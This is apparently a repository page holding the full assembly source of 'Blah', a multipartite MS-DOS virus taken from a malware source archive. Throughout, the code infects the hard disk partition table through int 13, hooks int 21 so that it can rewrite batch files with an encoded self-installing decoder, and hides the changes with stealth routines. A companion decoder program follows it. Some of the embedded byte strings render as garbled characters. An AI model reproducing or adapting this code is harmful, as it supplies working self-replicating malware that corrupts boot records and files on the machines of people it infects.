MalwareSourceCode/MSDOS/B-Index/Virus.MSDOS.Unknown.blah.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

682 lines
16 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - blah + 1ff) / 200
blah: xor bp,bp
xor si,si
cmp [si],20CDh ; check if there is a PSP
jz in_com ; to see if we are in COM or
; boot (don't just check SP
; since COM might not load in
; a full segment if memory is
; sparse)
inc bp
; hey! we're in the boot sector or the partition table
; assume in partition table for the time being
push si
cli
pop ss
mov sp,-2 ; doesn't really matter
sti
mov ax,200 + sector_length
mov es,si
mov bx,7c00 + 200
mov cx,2
mov dx,80
int 13
mov dx,0f800
db 0ea
dw offset install, 7b0
in_com: mov dx,0f904
mov ah,62 ; get the PSP
int 21 ; also tells existing copies
; to disable themselves
; (for NetWare compatability)
dec bx ; go to MCB so we can
mov ds,bx ; twiddle with it
sub word ptr [si+3],resP ; reserve two K of memory
sub word ptr [si+12],resP ; in DOS for the virus
install: mov cs:init_flag,dl
mov byte ptr cs:i13_patch,dh
mov ds,si ; reserve two K of memory
mov dx,word ptr ds:413
sub dx,resK
mov word ptr ds:413,dx ; from the BIOS count
mov cl,6
shl dx,cl ; K -> paragraph
les ax,ds:84
mov cs:old_i21,ax
mov cs:old_i21+2,es
les ax,ds:4c
mov cs:old_i13,ax
mov cs:old_i13+2,es
mov es,dx
push cs
pop ds
mov si,offset blah
mov di,si
mov cx,(offset end_zopy - blah + 1) / 2
rep movsw
mov es,cx
mov es:4c,offset i13
mov es:4e,dx
or bp,bp
jz exit_com
exit_boot: mov ax,201 ; read the original partition
xor cx,cx ; table to 0:7C00
mov dx,80 ; since the i13 handler is in
mov es,cx ; place, we can load from where
inc cx ; the partition table should
mov bx,7c00 ; be, instead of where it
pushf
push es bx ; actually is
jmp dword ptr [bp+4bh] ; int 13 / iret
exit_com: mov es:84,offset i21
mov es:86,dx
infect_hd: push ax cx dx bx ds es
push cs cs
pop es ds
mov ax,201
mov bx,100 + (sector_length*200)
mov cx,1
mov dx,80
call call_i13 ; get original partition table
adj_ofs = (100 + (sector_length*200))
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
jz already_infected
mov al,ds:[adj_ofs+1C0]
cbw
or ax,ds:[adj_ofs+1C2]
jnz enough_room
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
jbe already_infected ; not enough room for virus
enough_room: mov ax,301 + sector_length ; write to disk
mov bx,100 ; cx = 1, dx = 80 already
call call_i13
already_infected:
pop es ds bx dx cx ax
ret
db 'Blah virus',0
db '(DA/PS)',0
; I indulged myself in writing the decoder; it's rather much larger than it
; needs to be. This was so I could insert random text strings into the code.
; The decoder creates a file which, when run, will execute the encoded file.
; In this case, we are encoding the virus. See the beginning for a complete
; explanation of how the virus works.
decoder db '@echo <20>PSBAT!<21><>PS<50>'
fsize dw -1 * (heap - blah)
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><> <0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50>󤫸<EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
endline: db '>>',0ba,'.com',0Dh,0A
; The next line is to ease the coding. This way, the same number of statements
; pass between the running of the temporary program and the reloading of the
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
; the temporary file installs the virus into memory. Note the following lines
; are never seen by the command interpreter if the virus is already resident.
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
db '@',0ba,0Dh,0A
db '@del ',0ba,'.com',0Dh,0A
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
; which would be a shame.
db '@if %0. == . autoexec',0Dh,0A
db '@%0',0Dh,0A
endcleanup:
chain_i13: push [bp+6]
call dword ptr cs:old_i13
pushf
pop [bp+6]
ret
call_i13: pushf
call dword ptr cs:old_i13
ret
write: mov ah,40
calli21: pushf
call dword ptr cs:old_i21
ret
check_signature:and word ptr es:[di+15],0
push es di cs cs
pop ds es
mov ah,3f
cwd ; mov dx,offset our_buffer
mov cx,enddecoder - decoder
call calli21
cld
mov si,offset decoder
mov di,dx
mov cx,enddecoder - decoder
rep cmpsb
pop di es
ret
i13: clc ; this is patched to
jnc i13_patch ; disable the i13 handler
jmp disabled_i13 ; this is a stupid hiccup
i13_patch: clc ; this is patched to once
jc multipartite_installed ; i21 is installed
push ax bx ds es
mov ax,0AA55 ; offset 02FE of the virus
; this is the PT signature
xor ax,ax
mov es,ax
lds bx,es:84
mov ax,ds
cmp ax,cs:old_i21+2
jz not_DOS_yet
or ax,ax ; Gets set to address in zero
jz not_DOS_yet ; segment temporarily. ignore.
cmp ax,800
ja not_DOS_yet
cmp ax,es:28*4+2 ; make sure int 28 handler
jnz not_DOS_yet ; the same (OS == DOS?)
cmp bx,cs:old_i21
jz not_DOS_yet
install_i21: push cs
pop ds
mov ds:old_i21,bx
mov ds:old_i21+2,ax
mov es:84,offset i21
mov es:86,cs
inc byte ptr ds:i13_patch
not_DOS_yet: pop es ds bx ax
multipartite_installed:
push bp
mov bp,sp
cmp cx,sector_length + 1 ; working on virus area?
ja jmp_i13
cmp dx,80
jnz jmp_i13
cmp ah,2 ; reading partition table?
jz stealth_i13
not_read: cmp ah,3 ; write over partition table?
jnz jmp_i13
call infect_hd
push si cx bx ax
mov al,1
cmp cl,al ; are we working on partition
jnz not_write_pt ; table at all?
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
not_write_pt: pop ax
push ax
cbw
sub al,sector_length + 2 ; calculate number of remaining
add al,cl ; sectors to write
js alt_exit_i13
jz alt_exit_i13
push cx
sub cx,sector_length + 2 ; calculate number of sectors
neg cx ; skipped
addd: add bh,2 ; and adjust buffer pointer
loop addd ; accordingly
pop cx
or ah,1 ; ah = 1 so rest_stealth makes
jmp short rest_stealth ; it a write
jmp_i13: pop bp
disabled_i13: jmp dword ptr cs:old_i13
stealth_i13: push si cx bx ax
call infect_hd
mov si,bx
mov al,1
cmp cl,al
jnz not_read_pt
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
add bh,2 ; adjust buffer ptr
not_read_pt: pop ax
push ax
push di ax
mov di,bx
mov ah,0
add al,cl
cmp al,sector_length + 2
jb not_reading_more
mov al,sector_length + 2
not_reading_more:cmp cl,1
jnz not_pt
dec ax
not_pt: sub al,cl
jz dont_do_it ; resist temptation!
mov cl,8
shl ax,cl ; zero out sectors
mov cx,ax
cbw ; clear ax
rep stosw
mov bx,di ; adjust buffer
dont_do_it: pop ax di
mov ah,0
mov cl,9
sub si,bx
neg si
shr si,cl
sub ax,si
jz alt_exit_i13
rest_stealth: sub ax,-200
mov cx,sector_length + 2
call chain_i13
alt_exit_i13: pop bx
mov al,bl
pop bx cx si bp
iret
i24: mov al,3
iret
chain_i21: push [bp+6] ; push flags on stack again
call dword ptr cs:old_i21
pushf ; put flags back onto caller's
pop [bp+6] ; interrupt stack area
ret
infect_bat: mov cx,200 ; conquer the holy batch file!
move_up: sub bp,cx
jns $+6
add cx,bp
xor bp,bp
mov es:[di+15],bp ; move file pointer
mov ah,3f ; read in portion of the file
mov dx,offset big_buffer
call calli21
add word ptr es:[di+15],viruslength
sub word ptr es:[di+15],ax
call write ; move the data up
or bp,bp
jnz move_up
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
mov cx,enddecoder - decoder
mov dx,offset decoder
call write
push es di cs
pop es
mov bp,heap - blah
mov si,offset blah
encode_lines: mov di,offset line
mov cx,20
encode_line: lodsb
push ax
and ax,0F0
inc ax
stosb
pop ax
and ax,0F
add al,'A'
stosb
dec bp
jz finished_line
loop encode_line
finished_line: mov cx,6
mov dx,offset decoder
call write
mov cx,di
mov dx,offset line
sub cx,dx
call write
mov cx,enddecoder-endline
mov dx,offset endline
call write
or bp,bp
jnz encode_lines
pop di es
mov cx,endcleanup - enddecoder
mov dx,offset enddecoder
call write
ret
; check neither extension nor timestamp in case file was renamed or
; something like that
; will hang without this stealth because of the line
; @%0 that it adds to batch files
handle_read: push es di si ax cx dx ds bx
xor si,si
cmp cs:init_flag,0
jnz dont_alter_read
mov ax,1220
int 2f
jc dont_alter_read
xor bx,bx
mov bl,es:di
mov ax,1216
int 2f ; es:di now -> sft
jc dont_alter_read
pop bx ; restore the file handle
push bx
push es:[di+15] ; save current offset
call check_signature
mov si,viruslength
pop bx
jz hide_read
xor si,si
hide_read: add bx,si
mov es:[di+15],bx
dont_alter_read:pop bx ds dx cx ax
call chain_i21
sub es:[di+15],si
pop si di es
_iret: pop bp
iret
handle_open: cmp cs:init_flag,0
jz keep_going
dec cs:init_flag
keep_going: call chain_i21
jc _iret
push ax cx dx bp si di ds es
xchg si,ax ; filehandle to si
mov ax,3524
int 21
push es bx ; save old int 24 handler
xchg bx,si ; filehandle back to bx
push bx
mov si,dx ; ds:si->filename
push ds
mov ax,2524 ; set new int 24 handler
push cs
pop ds
mov dx,offset i24
call calli21
pop ds
cld
find_extension: lodsb ; scan filename for extension
or al,al ; no extension?
jz dont_alter_open
cmp al,'.' ; extension?
jnz find_extension
lodsw ; check if it's .bat
or ax,2020
cmp ax,'ab'
jnz dont_alter_open
lodsb
or al,20
cmp al,'t'
jnz dont_alter_open
mov ax,1220 ; if so, get jft entry
int 2f
jc dont_alter_open
xor bx,bx
mov bl,es:di
mov ax,1216 ; now get SFT
int 2f
jc dont_alter_open
pop bx ; recover file handle
push bx
mov bp,word ptr es:[di+11] ; save file size
or bp,bp
jz dont_alter_open
mov byte ptr es:[di+2],2 ; change open mode to r/w
mov ax,word ptr es:[di+0dh] ; get file time
and ax,not 1f ; set the seconds field
or ax,1f
mov word ptr es:[di+0dh],ax
call check_signature
jz dont_alter1open ; infected already!
call infect_bat
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
and word ptr es:[di+15],0
mov byte ptr es:[di+2],0 ; restore file open mode
dont_alter_open:pop bx dx ds
mov ax,2524
call calli21
pop es ds di si bp dx cx ax bp
iret
findfirstnext: call chain_i21 ; standard file length
push ax bx si ds es ; hiding
cmp al,-1
jz dont_alter_fffn
mov ah,2f ; get the DTA to es:bx
int 21
push es
pop ds
cmp byte ptr [bx],-1
jnz not_extended
add bx,7
; won't hide if extension is changed, but otherwise gives it away by disk
; accesses
not_extended: cmp word ptr [bx+9],'AB'
jnz dont_alter_fffn
cmp byte ptr [bx+0bh],'T'
jnz dont_alter_fffn
cmp word ptr [bx+1dh],viruslength
jb dont_alter_fffn
mov al,[bx+17]
and al,1f
cmp al,1f
jnz dont_alter_fffn
and byte ptr [bx+17],not 1f
sub word ptr [bx+1dh],viruslength
dont_alter_fffn:pop es ds si bx ax bp
iret
inst_check: cmp bx,0f904
jnz jmp_i21
push si di cx
mov si,offset blah
mov di,100
mov cx,offset i13 - offset blah
db 2e
rep cmpsb
jnz not_inst
inc byte ptr cs:i13 ; disable existing copy of
inc byte ptr cs:i21 ; the virus
not_inst: pop si di cx
jmp short jmp_i21
i21: clc
jc disabled_i21
push bp
mov bp,sp
cmp ah,11
jz findfirstnext
cmp ah,12
jz findfirstnext
cmp ah,62
jz inst_check
cmp ax,3d00
jnz not_open
jmp handle_open
not_open: cmp ah,3f
jnz jmp_i21
jmp handle_read
jmp_i21: pop bp
disabled_i21: db 0ea ; call original int 21
heap: ; g
old_i21 dw ?, ? ; handler
old_i13 dw ?, ?
init_flag db ?
end_zopy:
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
orig_PT db 200 dup (?)
big_buffer db 200 dup (?)
end_all:
end blah
; The complimentary decoder included with every copy of blah
.model tiny
.code
.radix 16
org 100
decode: db '<27>PSBAT!<21>' ; translates to some random code
mov di,offset buffer
db 0bdh ; mov bp, datasize
datasize dw 'Y0'
db 'XYZ' ; more text that is also code
neg bp
push bp
mov si,offset databytes
keep_going: mov cx,2020
xor ch,cl
decode_line: lodsb
dec ax ; tens digit
mov bx,ax
lodsb
sub al,'A'
add ax,bx
stosb
dec bp
jz all_done
loop decode_line
all_done: or bp,bp
jz no_more
lodsw ; skip CRLF
jmp keep_going
db 0Dh,0A ; split file into two lines
no_more: mov ax,0fcfc
xor ah,al
pop cx ; how many bytes to move
push ax
xchg ax,di
mov ax,0a4f3
stosw
mov ax,0ebebh ; flush prefetch queue
xor ah,al
stosw
mov si,offset buffer
mov di,100 + 4144
sub di,'AD'
retn
db 0Dh,0Ah ; split the file s'more
databytes:
org 5350 ; 50/53 == P/S
buffer:
end decode